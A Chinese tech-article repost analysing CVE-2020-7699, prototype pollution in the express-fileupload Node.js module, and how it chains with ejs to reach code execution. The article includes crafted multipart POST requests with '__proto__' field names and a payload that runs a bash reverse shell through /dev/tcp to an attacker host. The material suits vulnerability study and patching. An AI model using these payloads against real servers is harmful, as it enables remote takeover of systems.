千家信息网

如何进行CVE-2020-7699的漏洞分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,如何进行CVE-2020-7699的漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。CVE-2020-7699漏洞
千家信息网最后更新 2026年10月31日如何进行CVE-2020-7699的漏洞分析

如何进行CVE-2020-7699的漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

CVE-2020-7699漏洞分析

一、简介

CVE-2020-7699:NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的

二、漏洞源码分析

如果想要复现的话,需要下载低版本的express-fileupload模块

npm i express-fileupload@1.1.7-alpha.4

引起漏洞的源代码:(关键部分)

busboy.on('finish', () => {    debugLog(options, `Busboy finished parsing request.`);    if (options.parseNested) {        req.body = processNested(req.body);        req.files = processNested(req.files);    }    if (!req[waitFlushProperty]) return next();    Promise.all(req[waitFlushProperty])        .then(() => {        delete req[waitFlushProperty];        next();    }).catch(err => {        delete req[waitFlushProperty];        debugLog(options, `Error while waiting files flush: ${err}`);        next(err);    });});
function processNested(data){    if (!data || data.length < 1) return {};    let d = {},        keys = Object.keys(data);       //获取键名,列表    for (let i = 0; i < keys.length; i++) {        let key = keys[i],            value = data[key],            current = d,            keyParts = key        .replace(new RegExp(/\[/g), '.')        .replace(new RegExp(/\]/g), '')        .split('.');        for (let index = 0; index < keyParts.length; index++){            let k = keyParts[index];            if (index >= keyParts.length - 1){                current[k] = value;            } else {                if (!current[k])                     current[k] = !isNaN(keyParts[index + 1]) ? [] : {};                current = current[k];            }        }    }    return d;};

其实引发原型链污染处就在于这个porcessNested方法,该函数用法:

例如:传入的参数是:{"a.b.c":"m1sn0w"}通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染传入参数:{"__proto__.m1sn0w":"m1sn0w"}然后我们调用console.log(Object.__proto__.m1sn0w)返回的值为m1sn0w

到这里,就比较清楚,只要调用processNested这个函数,并且如果函数的参数可控,便可达到原型链污染的目的。所以,这里就要介绍该漏洞形成的先决条件,parseNested配置选项要设置为true,例如:

const fileUpload = require('express-fileUpload')var express = require('express')app = express()app.use(fileUpload({ parseNested: true }))app.get('/',(req,res)=>{    res.end("m1sn0w")})

观察最上方第一部分代码,如果parseNested参数为true,则调用processNested函数,且参数是req.body或者req.files

req.body是nodejs解析post请求体,req.files获取上传文件的信息

两种方法都可以。这里先使用req.files参数(后面的RCE会使用到req.body)

关于req.files参数,例如:POST请求上传文件

POST / HTTP/1.1Host: 192.168.0.101:7778User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.101:7778/Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333Content-Length: 336Connection: closeUpgrade-Insecure-Requests: 1-----------------------------1546646991721295948201928333Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"Content-Type: text/plainaaa-----------------------------1546646991721295948201928333Content-Disposition: form-data; name="username"-----------------------------1546646991721295948201928333--

可以观察到req.files的值为:

{ upload:    { name: 'm1sn0w.txt',      data: ,      size: 4,      encoding: '7bit',      tempFilePath: '',      truncated: false,      mimetype: 'text/plain',      md5:'......'      mv: [Function: mv]      }}

更改上面的upluod参数为

__proto__.toString那么结果就会变回:{    __proto__.toString:{        ......    }}

由于设置了parseNested,会自动调用processNested函数,因此就造成了原型链的污染。

相当于:

{}[__proto__][toString] = { ...... }

当我们再次访问页面时,会返回500的错误(因为toString方法改变了)

三、利用ejs进行RCE

ejs模板引擎存在一个利用原型污染,进行RCE的一个漏洞(这个漏洞暂时还没有修复,可能是因为利用的先决条件是要存在一个原型链污染的点)

先分析一下ejs引发此漏洞的源码:(这里提取出了关键部分)

compile: function () {    /** @type {string} */    var src;    /** @type {ClientFunction} */    var fn;    var opts = this.opts;    var prepended = '';    var appended = '';    /** @type {EscapeCallback} */    var escapeFn = opts.escapeFunction;    /** @type {FunctionConstructor} */    var ctor;      if (!this.source) {      this.generateSource();      prepended +=        '  var __output = "";\n' +        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';      if (opts.outputFunctionName) {        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';      }      if (opts.destructuredLocals && opts.destructuredLocals.length) {        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';        for (var i = 0; i < opts.destructuredLocals.length; i++) {          var name = opts.destructuredLocals[i];          if (i > 0) {            destructuring += ',\n  ';          }          destructuring += name + ' = __locals.' + name;        }        prepended += destructuring + ';\n';      }      if (opts._with !== false) {        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';        appended += '  }' + '\n';      }      appended += '  return __output;' + '\n';      this.source = prepended + this.source + appended;    }}    src = this.source    ctor = Function    fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);    fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

可以从下往上进行分析:

  1. 调用了fn方法,如果src参数可控,那么就可以自定义该函数;

  2. src参数的值来源于this.source

  3. 从最上面的方法,this.source = prepended + this.source + appended

其实上面整个函数都是在拼接this.source,最关键的部分在这里:

if (!this.source) {      this.generateSource();      prepended +=        '  var __output = "";\n' +        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';      if (opts.outputFunctionName) {        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';      }}

利用的其实是这个:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

通过全局分析,opts.outputFunctionName最初是并没有赋值的,如果存在原型链污染漏洞的话,我们可以自定义构造这个值,构造payload:

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

仔细观察一下,为什么要x;开头x结尾呢?其实是对上面的拼接,构成一个完整的js语句

现在来看一看如何通过上面的原型链污染来利用ejs达到RCE

这里利用的就是req.body而不是req.files

例如,这里构造POST请求:

POST / HTTP/1.1Host: 192.168.0.101:7778User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.101:7778/Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333Content-Length: 339Connection: closeUpgrade-Insecure-Requests: 1-----------------------------1546646991721295948201928333Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"Content-Type: text/plainaaa-----------------------------1546646991721295948201928333Content-Disposition: form-data; name="username"123-----------------------------1546646991721295948201928333--

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

当我们再次发起请求时,便会在指定的主机反弹回来一个shell,从而达到RCE的目的

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

漏洞 参数 函数 原型 污染 分析 方法 面的 模块 关键 目的 部分 观察 漏洞分析 清楚 代码 先决条件 再次 引擎 文件 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技有限公司图片 贷财互联网科技 互联网 视角下的科技创新 广州善班互联网科技 齐家互联网科技有限公司 互联网科技宣传片 人人互联网科技是培训 恒生科技互联网指数分析 字节跳动和互联网科技 武汉健翔互联网络科技有限公司 互联网科技公司实习生 千方科技属于互联网企业吗 互联网科技大赛获奖感言 雨阳互联网卡科技有限公司 抖集互联网科技技术咨询 长沙渺峰互联网科技有限公司 中国互联网公司的科技投入 上海互联网科技园景观 互联网科技创业计划的风险分析 每日互联网科技新闻 互联网科技的 互联网科技与金融科技 北京互联网络科技有限公司 卓越科技互联网 招聘 中盈科技互联网信息有限公司 须眉科技是互联网公司吗 福州新华互联网科技学校 知乎 彤创互联网科技有限公司 智腾互联网科技有限公司 互联网大会出现的黑科技
0